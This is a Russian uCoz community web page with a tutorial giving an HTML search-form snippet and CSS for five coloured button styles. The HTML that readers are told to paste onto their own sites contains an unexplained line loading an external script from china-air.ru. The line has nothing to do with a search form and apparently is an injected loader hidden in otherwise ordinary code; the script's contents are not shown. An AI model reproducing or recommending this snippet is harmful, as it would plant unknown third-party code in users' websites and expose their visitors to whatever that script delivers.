| Главная | Форум | Файлы | Статьи | Игровые новости | Новости Кино | Топ сайтов | Ucoz скрипты | Online Фильмы и Сериалы | Первый игровой телеканал | Фильмы(2011) |
>
| Главная | Мой профиль | Вход | RSS |
Меню сайта
On-line сервисы
Поиск по сайту
Мини-чат
Правила чата

 
500
Друзья и Топы
Друзья сайта

Мы в Топах
Топ Статей
для css
Автор: ☠Вагид☠™
Статья: Как дать Админку по Нику и Паролю?
Дата: 05.01.2011
Ответов: 8
для css
Автор: ☠Вагид☠™
Статья: как установить прицел в CSS...
Дата: 05.01.2011
Ответов: 0
для css
Автор: ☠Вагид☠™
Статья: Как забиндить кнопки на запись демо
Дата: 21.12.2010
Ответов: 0
для css
Автор: ☠Вагид☠™
Статья: Прикольные символы для css
Дата: 09.12.2010
Ответов: 0
Мои статьи
Автор: ☠Вагид☠™
Статья: как установить новый фон меню в CSS...
Дата: 05.01.2011
Ответов: 0
Случайные Файлы

спрей для css - Спрей обманка для css - набор спреев обманок

спрей для css - Спрей обманка для css - набор спреев обманок

VA - Dance Classics Summer Edition (2CD) - 2011, MP3

VA - Dance Classics Summer Edition (2CD) - 2011, MP3

css - aim_teambattle_lego

css - aim_teambattle_lego

BunnyHop

BunnyHop

Sonic the Hedgehog 4 Episode 1 (2012)

Sonic the Hedgehog 4 Episode 1 (2012)

title=
Главная » Статьи » Скрипты

Формы поиска для uCoz
Представляем вашему вниманию пять цветовых вариантов форм поиска для сайтов системы uCoz.
В место:

Код
$SEARCH_FORM$


Везде ставим:

Код
<form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >  
  <input class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}"/>
  <script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
  <input class="poick_knopka" type="submit" value="Найти" />  
  <input type="hidden" name="t" value="0" />  
  </form>


И теперь остается прописать стили!
Фиолетовая форма:

Код
/* Форма поиска фиолетовая кнопка  
------------------------------------------*/  
.poick_os {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka {  
  text-shadow: 1px 1px 1px #751a9b;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#ce36fa;  
  border:1px solid #a622e3;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka:hover {background:#b73cea;}  

.poick_os,  
.poick_knopka {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Синяя форма:

Код
/* Форма поиска синяя кнопка  
------------------------------------------*/  
.poick_os1 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os1 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole1 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka1 {  
  text-shadow: 1px 1px 1px #1061B0;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#36A6FA;  
  border:1px solid #2290e3;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka1:hover {background:#3c9fea;}  

.poick_os1,  
.poick_knopka1 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Красная форма:

Код
/* Форма поиска красная кнопка  
------------------------------------------*/  
.poick_os2 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os2 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole2 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka2 {  
  text-shadow: 1px 1px 1px #b01010;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#fa3636;  
  border:1px solid #e32222;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka2:hover {background:#ea3c3c;}  

.poick_os2,  
.poick_knopka2 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Зеленая форма:

Код
/* Форма поиска зелёная кнопка  
------------------------------------------*/  
.poick_os3 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os3 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole3 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka3 {  
  text-shadow: 1px 1px 1px #368620;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#6ae14a;  
  border:1px solid #57c939;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka3:hover {background:#65d447;}  

.poick_os3,  
.poick_knopka3 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}


Оранжевая форма:

Код
/* Форма поиска оранжевая кнопка  
------------------------------------------*/  
.poick_os4 {  
  float:left;  
  padding:4px;  
  width:300px;  
  background:#fff;  
  border: 1px solid #A0A8AC;  
}  

.poick_os4 input {  
  float:left;  
  margin:0px;  
  vertical-align:middle;  
  font:11px Verdana,Arial,Helvetica,sans-serif;  
}  

.poick_pole4 {  
  color:#555;  
  width:220px;  
  height:15px;  
  border:none;  
  padding:6px 4px;  
}  
   
.poick_knopka4 {  
  text-shadow: 1px 1px 1px #865520;  
  width:70px;  
  height:27px;  
  cursor:pointer;  
  background:#e1954a;  
  border:1px solid #c97639;  
  color:#fff; font-weight: bold!important;  
}  
   
.poick_knopka4:hover {background:#d48347;}  

.poick_os4,  
.poick_knopka4 {  
  -webkit-border-radius: 3px;  
  -moz-border-radius: 3px;  
  border-radius: 3px;  
}
Категория: Скрипты | Добавил: startsmart (28.12.2012)
Просмотров: 348 | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Форма входа

Погода
Наша кнопка
Если вы хотите помочь нашему сайту в дальнейшем развиваться, то поместите нашу кнопку на вашем сайте или на сайте ваших друзей! Мы будем вам очень благодарны! Если же вы хотите произвести баннеробмен то напишите в ЛС администратору сайта




Наши баннеры
Нашa группa
Статистика



» Зарег. на сайте
Всего: 283
Новых за месяц: 1
Новых за неделю: 1
Новых вчера: 0
Новых сегодня: 0

» Из них
Администраторов: 1
Модераторов: 1
Модератор форума: 0
Хламовцев: 6
Обычных юзеров: 275  

» Из них
Парней: 265
Девушек: 18

Рейтинг@Mail.ru

AD-Pixel Pagerank Anzeige ohne Toolbar

EASY.LV Interneta resursu reitings

Рейтинг SIMPLETOP.NET


Онлайн всего: 1
Гостей: 1
Пользователей: 0

Последние зарегистрированные пользователи

  • 284 - tressag29 - 14.11.2024
  • 283 - nagimrasul - 23.05.2023
  • 282 - ivanovwano2013 - 10.03.2019
  • 281 - shamavalera0 - 09.03.2019
  • 280 - almas6837 - 08.08.2017


  • Последнее Форума
    Добавить новость, файл и т.д. в ajax
    Автор: ☠Вагид☠™
    Форум: Ajax
    Дата: 21.11.2024
    Ответов: 966
    Играй без читов! Учись стрелять метко!
    Автор: ☠Вагид☠™
    Форум: Pазнoе
    Дата: 16.11.2024
    Ответов: 16
    Для тех кому отказали в обмене..
    Автор: ☠Вагид☠™
    Форум: Банероoбмен
    Дата: 15.11.2024
    Ответов: 1
    Убранные баннеры!
    Автор: ☠Вагид☠™
    Форум: Банероoбмен
    Дата: 15.11.2024
    Ответов: 1
    Сервис который анализирует подозрительные файлы и URL-адрес
    Автор: ☠Вагид☠™
    Форум: Полезное
    Дата: 15.11.2024
    Ответов: 4

    myxlam.clan.su © 2017Пользовательское соглашение Для правообладателей Хостинг от uCoz

    Сайт тестировался на просмотр следующих браузеров: Internet Explorer 6-8 , Mozilla Firefox 2-3 , Opera 8-10 и Google Chrome.Все права защищены, myxlam.clan.su 2010-2017 © Все файлы расположенные на данном ресурсе были взяты из открытых источников. Любая информация представленная здесь, используется в ознакомительных целях. Ни администрация сайта, ни хостинг-провайдер, ни любые другие лица не могут нести отвественности за использование материалов данного сайта. Входя на сайт вы автоматически соглашаетесь с данными условиями.

    free counters Хостинг от uCoz